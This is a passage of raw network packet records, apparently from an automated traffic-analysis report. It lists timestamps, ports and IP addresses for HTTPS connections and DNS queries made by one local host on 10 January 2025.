Jan 10, 2025 16:33:18.333151102 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.333508968 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.333892107 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.333973885 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.334042072 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.379327059 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.488219023 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.488306999 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.488390923 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.488409042 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.488467932 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.488976002 CET	49730	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.488995075 CET	443	49730	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.760725975 CET	63274	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:18.765805960 CET	53	63274	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:18.765861988 CET	63274	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:18.822829008 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.822880983 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:18.822973967 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.823240995 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:18.823257923 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.450516939 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.450818062 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.450839043 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.451211929 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.451612949 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.451682091 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.451751947 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.495363951 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.495412111 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.600346088 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.600419998 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.600478888 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.601375103 CET	63275	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.601393938 CET	443	63275	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.605894089 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:19.605926991 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:19.606005907 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:19.606234074 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:19.606247902 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:19.651573896 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.651628017 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:19.651711941 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.651947975 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:19.651966095 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.068491936 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.068789959 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.068811893 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.069158077 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.069653988 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.069653988 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.069787979 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.116852045 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.118618965 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.118902922 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.118937969 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.119288921 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.119672060 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.119749069 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.119838953 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.119934082 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.119956970 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.120079994 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.120127916 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.213273048 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.213349104 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.213534117 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.213933945 CET	63276	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.213972092 CET	443	63276	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.371124983 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371176004 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371231079 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371285915 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.371306896 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371361971 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.371598005 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371645927 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371674061 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371706009 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.371711969 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.371767998 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.375796080 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.375847101 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.375904083 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.375910044 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.431695938 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.459506035 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459590912 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459630966 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459652901 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.459673882 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459721088 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.459726095 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459738970 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459809065 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459851980 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.459860086 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.459897041 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.459911108 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.460052967 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.460391998 CET	63277	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:20.460407972 CET	443	63277	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:20.462795973 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.462841988 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.463185072 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.463397980 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.463411093 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.937247992 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.937557936 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.937586069 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.937921047 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.938230991 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.938291073 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:20.938359976 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:20.983330011 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:21.075758934 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:21.075819969 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:21.076031923 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:21.076740026 CET	63280	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:21.076756954 CET	443	63280	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:22.427090883 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 16:33:22.730819941 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 16:33:23.335761070 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 16:33:24.546849966 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 16:33:25.001893997 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:25.001966000 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:25.002059937 CET	49716	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:33:25.791912079 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:25.791966915 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:25.792033911 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:25.792300940 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:25.792310953 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:25.794501066 CET	49716	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:33:25.794533968 CET	443	49716	142.250.185.164	192.168.2.17
Jan 10, 2025 16:33:26.312216997 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.312597036 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.312624931 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.312990904 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.313421965 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.313496113 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.313632965 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.313752890 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.313775063 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.313843012 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.313859940 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.569808006 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.569885969 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.569911003 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.569942951 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.569964886 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.569987059 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.570012093 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.570019960 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.570055008 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.570406914 CET	63284	443	192.168.2.17	104.18.95.41
Jan 10, 2025 16:33:26.570420980 CET	443	63284	104.18.95.41	192.168.2.17
Jan 10, 2025 16:33:26.573307037 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:26.573340893 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:26.573582888 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:26.573834896 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:26.573846102 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:26.587279081 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 16:33:26.603162050 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:26.603216887 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:26.603277922 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:26.603569031 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:26.603580952 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:26.889763117 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 16:33:26.953747034 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 16:33:27.064682961 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.064987898 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:27.065021992 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.066298008 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.066685915 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:27.066786051 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.066833019 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:27.107328892 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.113744974 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:27.120666981 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.120935917 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.120951891 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.122020006 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.122108936 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.126519918 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.126610994 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.126682043 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.167340994 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.177750111 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.177762032 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.211870909 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.211958885 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.212167978 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:27.212860107 CET	63285	443	192.168.2.17	104.18.94.41
Jan 10, 2025 16:33:27.212874889 CET	443	63285	104.18.94.41	192.168.2.17
Jan 10, 2025 16:33:27.225794077 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.496726036 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 16:33:27.702282906 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.702402115 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.702781916 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.703290939 CET	63286	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:27.703320026 CET	443	63286	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:27.720479965 CET	63289	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.725658894 CET	53	63289	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:27.725753069 CET	63289	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.725838900 CET	63289	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.725838900 CET	63289	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:27.730787992 CET	53	63289	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:27.730819941 CET	53	63289	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:28.400062084 CET	53	63289	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:28.402344942 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.402391911 CET	443	63290	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:28.402467966 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.402467966 CET	63289	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:28.403187037 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.403199911 CET	443	63290	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:28.408581972 CET	53	63289	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:28.409519911 CET	63289	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:28.710771084 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 16:33:28.865744114 CET	443	63290	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:28.866003990 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.866015911 CET	443	63290	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:28.867119074 CET	443	63290	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:28.867185116 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.868144989 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.868175030 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.868243933 CET	443	63290	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:28.868252039 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.868305922 CET	63290	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.868666887 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.868697882 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:28.868788958 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.869021893 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:28.869035006 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.352145910 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.352421999 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:29.352430105 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.353514910 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.353605986 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:29.353869915 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:29.353934050 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.354043961 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:29.354052067 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.395997047 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:29.943131924 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.943238974 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:29.943300962 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:29.944159031 CET	63292	443	192.168.2.17	104.21.42.208
Jan 10, 2025 16:33:29.944173098 CET	443	63292	104.21.42.208	192.168.2.17
Jan 10, 2025 16:33:31.110809088 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 16:33:31.763092995 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 16:33:35.045265913 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 16:33:35.347805977 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 16:33:35.918844938 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 16:33:35.950824022 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 16:33:37.156809092 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 16:33:39.559833050 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 16:33:41.372829914 CET	49675	443	192.168.2.17	204.79.197.203
Jan 10, 2025 16:33:44.372826099 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 16:33:45.523839951 CET	49680	443	192.168.2.17	20.189.173.13
Jan 10, 2025 16:33:53.979935884 CET	49682	80	192.168.2.17	192.229.211.108
Jan 10, 2025 16:33:55.549289942 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.554094076 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.647279978 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.647401094 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.649127007 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.649202108 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.649233103 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.649486065 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.649561882 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.653959036 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.653980970 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.654124022 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.654161930 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.654203892 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.654386997 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.746047020 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.746156931 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:33:55.877863884 CET	443	49691	204.79.197.200	192.168.2.17
Jan 10, 2025 16:33:55.877933025 CET	49691	443	192.168.2.17	204.79.197.200
Jan 10, 2025 16:34:14.515991926 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:14.516031981 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:14.516117096 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:14.516364098 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:14.516377926 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:15.166448116 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:15.166791916 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:15.166806936 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:15.167130947 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:15.167435884 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:15.167494059 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:15.218969107 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:25.088346004 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:25.088439941 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:34:25.088495016 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:26.189661980 CET	63340	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:34:26.189703941 CET	443	63340	142.250.185.164	192.168.2.17
Jan 10, 2025 16:35:14.574238062 CET	63348	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:35:14.574285984 CET	443	63348	142.250.185.164	192.168.2.17
Jan 10, 2025 16:35:14.574388981 CET	63348	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:35:14.574738026 CET	63348	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:35:14.574754000 CET	443	63348	142.250.185.164	192.168.2.17
Jan 10, 2025 16:35:15.212852955 CET	443	63348	142.250.185.164	192.168.2.17
Jan 10, 2025 16:35:15.215521097 CET	63348	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:35:15.215552092 CET	443	63348	142.250.185.164	192.168.2.17
Jan 10, 2025 16:35:15.215940952 CET	443	63348	142.250.185.164	192.168.2.17
Jan 10, 2025 16:35:15.216398954 CET	63348	443	192.168.2.17	142.250.185.164
Jan 10, 2025 16:35:15.216463089 CET	443	63348	142.250.185.164	192.168.2.17
Jan 10, 2025 16:35:15.260231018 CET	63348	443	192.168.2.17	142.250.185.164

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:33:09.944708109 CET	53	56529	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:09.978048086 CET	53	60206	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:10.296745062 CET	59637	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:10.296745062 CET	56657	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:10.307390928 CET	53	59637	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:10.307621956 CET	53	56657	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:10.986788988 CET	53	53527	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:11.320431948 CET	61115	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:11.320708990 CET	56991	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:11.321868896 CET	56236	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:11.322021961 CET	57709	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:11.327586889 CET	53	61115	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:11.328722954 CET	53	56991	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:11.330497980 CET	53	56236	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:11.479512930 CET	53	57709	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:12.043992996 CET	49965	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:12.044150114 CET	56165	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:12.051053047 CET	53	49965	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:12.051305056 CET	53	56165	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:12.175426960 CET	58596	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:12.175728083 CET	56408	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:12.267235041 CET	53	58596	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:12.313576937 CET	53	56408	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:13.317998886 CET	54919	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:13.318150997 CET	53918	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:13.318582058 CET	61594	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:13.318721056 CET	53373	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:13.319812059 CET	52485	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:13.319935083 CET	52385	53	192.168.2.17	1.1.1.1
Jan 10, 2025 16:33:13.324595928 CET	53	53918	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:13.325269938 CET	53	53373	1.1.1.1	192.168.2.17
Jan 10, 2025 16:33:13.325282097 CET	53	54919	1.1.1.1	192.168.2.17
